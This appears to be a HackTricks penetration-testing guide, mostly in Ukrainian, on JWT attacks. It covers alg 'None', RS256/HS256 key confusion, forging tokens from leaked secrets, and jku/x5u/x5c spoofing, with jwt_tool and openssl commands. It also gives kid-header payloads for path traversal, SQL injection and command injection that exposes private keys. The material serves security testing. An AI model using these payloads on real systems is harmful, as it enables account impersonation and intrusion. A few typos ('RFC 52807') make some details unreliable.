JWT Vulnerabilities (Json Web Tokens)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Частина цього допису базується на відмінному матеріалі: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Автор чудового інструменту для pentest JWTs https://github.com/ticarpi/jwt_tool
Швидкі перемоги
Запустіть jwt_tool з режимом All Tests! і чекайте зелених рядків
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Якщо пощастить, інструмент знайде випадок, де веб-застосунок неправильно перевіряє JWT:
.png)
Тоді ви можете знайти цей запит у вашому proxy або дампнути використаний JWT для цього запиту за допомогою jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Маніпулюйте даними, не змінюючи підпису
Ви можете просто змінити дані, залишивши підпис без змін, і перевірити, чи сервер перевіряє підпис. Спробуйте, наприклад, змінити своє ім’я користувача на “admin”.
Чи перевіряється токен?
- Повідомлення про помилку вказує на те, що відбувається перевірка; варто перевірити докладні помилки на наявність чутливих деталей.
- Зміна поверненої сторінки також вказує на перевірку.
- Відсутність змін свідчить про відсутність перевірки; це час експериментувати з підробкою payload claims.
Походження
Важливо з’ясувати, чи токен згенеровано на стороні сервера чи на стороні клієнта, переглянувши історію запитів у проксі.
- Токени, які вперше виявлені на стороні клієнта, вказують, що ключ може бути доступний клієнтському коду — це вимагає додаткового розслідування.
- Токени, що походять зі сторони сервера, свідчать про захищений процес.
Тривалість
Перевірте, чи токен діє понад 24 години… можливо він ніколи не спливає. Якщо є поле “exp”, перевірте, чи сервер правильно його обробляє.
Brute-force HMAC secret
Derive JWT secrets from leaked config + DB data
If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:
- Leak app key (e.g.,
encryptionKey) from a config file. - Leak user table to obtain
email,password_hash, anduser_id. - Виведіть секрет підпису з ключа, а потім отримайте per-user hash, який очікується в JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Drop the signed token into the session cookie (e.g.,
n8n-auth) to impersonate the user/admin account even if the password hash is salted.
Змініть алгоритм на None
Встановіть алгоритм “None” і видаліть частину підпису.
Використайте розширення Burp під назвою “JSON Web Token”, щоб перевірити цю вразливість і змінювати різні значення всередині JWT (надішліть запит у Repeater і на вкладці “JSON Web Token” ви можете змінити значення токена. Також можна вибрати встановлення значення поля “Alg” у “None”).
Змініть алгоритм RS256(asymmetric) на HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Алгоритм HS256 використовує secret key для підпису та перевірки кожного повідомлення.
Алгоритм RS256 використовує private key для підпису повідомлення і використовує public key для автентифікації.
Якщо ви зміните алгоритм з RS256 на HS256, бекенд-код використає public key як secret key, а потім застосує алгоритм HS256 для перевірки підпису.
Тоді, використовуючи public key і змінивши RS256 на HS256, ми зможемо створити валідний підпис. Ви можете отримати сертифікат веб-сервера, виконавши це:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Новий публічний ключ у заголовку
Атакуючий вставляє новий ключ у заголовок токена, і сервер використовує цей ключ для перевірки підпису (CVE-2018-0114).
Цього можна досягти за допомогою розширення Burp “JSON Web Tokens”.
(Надішліть запит у Repeater, у вкладці JSON Web Token виберіть “CVE-2018-0114” і надішліть запит).
JWKS Spoofing
Інструкції описують метод оцінки безпеки JWT токенів, зокрема тих, які використовують заголовок “jku”. Це поле має посилатися на файл JWKS (JSON Web Key Set), що містить публічний ключ, необхідний для верифікації токена.
-
Перевірка токенів із заголовком “jku”:
-
Перевірте URL у полі “jku”, щоб переконатися, що він веде до відповідного файлу JWKS.
-
Змініть значення “jku” у токені так, щоб воно вказувало на контрольований веб-сервіс для спостереження за трафіком.
-
Моніторинг HTTP-взаємодії:
-
Спостереження HTTP-запитів до вказаного вами URL свідчить про те, що сервер намагається отримати ключі з вашого посилання.
-
При використанні
jwt_toolдля цього процесу важливо оновити файлjwtconf.ini, вказавши в ньому розташування вашого JWKS, щоб полегшити тестування. -
Команда для
jwt_tool: -
Виконайте наступну команду, щоб змоделювати сценарій з
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Необов’язкове поле заголовка kid використовується для ідентифікації конкретного ключа, що особливо важливо в середовищах, де існує кілька ключів для перевірки підпису токена. Це поле допомагає обрати відповідний ключ для перевірки підпису токена.
Revealing Key through “kid”
Якщо у заголовку присутнє поле kid, радять шукати у веб-каталозі відповідний файл або його варіації. Наприклад, якщо задано "kid":"key/12345", слід шукати файли /key/12345 та /key/12345.pem у кореневому каталозі веб-сервера.
Path Traversal with “kid”
Поле kid також може бути використане для навігації по файловій системі, що потенційно дозволяє вибрати довільний файл. Можна перевірити підключення або виконати атаки Server-Side Request Forgery (SSRF), змінюючи значення kid, щоб спрямувати його на конкретні файли чи сервіси. Підробити JWT, змінити kid і зберегти початковий підпис можна за допомогою прапорця -T у jwt_tool, як показано нижче:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Цілеспрямовано використовуючи файли з передбачуваним вмістом, можна підробити діючий JWT. Наприклад, файл /proc/sys/kernel/randomize_va_space в Linux, відомий тим, що містить значення 2, може бути використаний у параметрі kid, використавши 2 як симетричний пароль для генерації JWT.
SQL Injection via “kid”
Якщо вміст претензії kid використовується для отримання пароля з бази даних, модифікація payload kid може дозволити SQL injection. Приклад payload, який використовує SQL injection для зміни процесу підписання JWT, включає:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Ця зміна змушує використовувати відомий секретний ключ ATTACKER для підписання JWT.
OS Injection through “kid”
Сценарій, у якому параметр kid вказує шлях до файлу, що використовується в контексті виконання команд, може призвести до вразливостей Remote Code Execution (RCE). Вводячи команди в параметр kid, можна викрити приватні ключі. Приклад payload для досягнення RCE та витоку ключів:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku означає JWK Set URL.
Якщо токен використовує «jku» Header claim, то перевірте вказаний URL. Він має вказувати на URL, що містить JWKS-файл з Public Key для верифікації токена. Підробіть токен, щоб jku вказував на веб-сервіс, трафік якого ви можете моніторити.
Спочатку потрібно створити новий сертифікат з новими приватним та публічним ключами
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Потім ви, наприклад, можете використати jwt.io, щоб створити новий JWT з створеними публічним та приватним ключами та вказати параметр jku на створений сертифікат. Щоб створити дійсний сертифікат jku, ви можете завантажити оригінальний і змінити необхідні параметри.
Ви можете отримати параметри “e” та “n” з публічного сертифіката, використовуючи:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифікатів), закодованих у PEM-формі. Перший сертифікат у наборі має бути тим, який використано для підпису цього JWT. Кожен наступний сертифікат підписує попередній, завершуючи таким чином ланцюжок сертифікатів. X.509 визначено в RFC 52807 . Для передачі сертифікатів потрібен захист транспортного рівня.
Спробуйте змінити цей заголовок на URL під вашим контролем і перевірте, чи надходить який-небудь запит. У такому випадку ви можете підробити JWT.
Щоб підробити новий токен, використовуючи сертифікат під вашим контролем, потрібно створити сертифікат і витягти публічний та приватний ключі:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.
.png)
You can also abuse both of these vulns for SSRFs.
x5c
This parameter may contain the certificate in base64:
.png)
If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Вбудований Public Key (CVE-2018-0114)
Якщо JWT містить вбудований public key, як у наведеному нижче сценарії:
.png)
Використовуючи наступний nodejs-скрипт, можна згенерувати public key з цих даних:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Можна згенерувати нову приватну/публічну пару ключів, вбудувати новий публічний ключ всередину токена та використати його для створення нового підпису:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Ви можете отримати “n” та “e”, використавши цей nodejs скрипт:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Нарешті, використовуючи публічний та приватний ключі й нові значення “n” та “e”, ви можете скористатися jwt.io щоб згенерувати новий дійсний JWT з будь-якою інформацією.
ES256: Розкриття приватного ключа при використанні того ж nonce
Якщо деякі додатки використовують ES256 і застосовують той самий nonce для генерації двох JWT, приватний ключ може бути відновлений.
Ось приклад: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
Проте уявіть ситуацію, коли максимальна довжина ID — 4 символи (0001-9999). Запити 0001 і 10001 використовуватимуть той самий ID. Тому, якщо бекенд інкрементує ID при кожному запиті, ви можете зловживати цим, щоб replay a request (потрібно відправити 10000 запитів між кожним успішним повторним відтворенням).
Зареєстровані JWT claims
Інші атаки
Cross-service Relay Attacks
Було помічено, що деякі веб-додатки покладаються на довірений JWT service для генерації та управління своїми токенами. Зафіксовані випадки, коли токен, згенерований для одного клієнта JWT service, приймався іншим клієнтом того ж JWT service. Якщо спостерігається видача або оновлення JWT через сторонній сервіс, слід перевірити можливість реєстрації акаунта в іншому клієнті того сервісу з тим самим username/email. Потім слід спробувати replay отриманого токена в запиті до цілі, щоб перевірити, чи буде він прийнятий.
- Прийняття вашого токена може вказувати на критичну проблему, потенційно дозволяючи spoofing будь-якого акаунта користувача. Однак слід зауважити, що для ширшого тестування може знадобитися дозвіл у разі реєстрації на сторонньому додатку, оскільки це може потрапити в юридично сіру зону.
Перевірка терміну дії токенів
Термін дії токена перевіряється за допомогою Payload-заяви “exp”. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках перехоплення та replay JWT іншого користувача може дозволити видавати себе за цього користувача. RFC по JWT рекомендує пом’якшувати атаки replay шляхом використання поля “exp” для встановлення часу закінчення дії токена. Крім того, важливо, щоб додаток реалізував відповідні перевірки для обробки цього значення та відхилення прострочених токенів. Якщо токен містить “exp” і часові обмеження тестування це дозволяють, рекомендується зберегти токен і спробувати replay після того, як термін дії минув. Вміст токена, включно з розбором часових міток і перевіркою закінчення дії (мітка часу в UTC), можна прочитати за допомогою прапорця -R у jwt_tool.
- Може існувати ризик безпеки, якщо додаток все ще валідовує токен, оскільки це може означати, що токен ніколи не закінчує терміну дії.
Інструменти
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


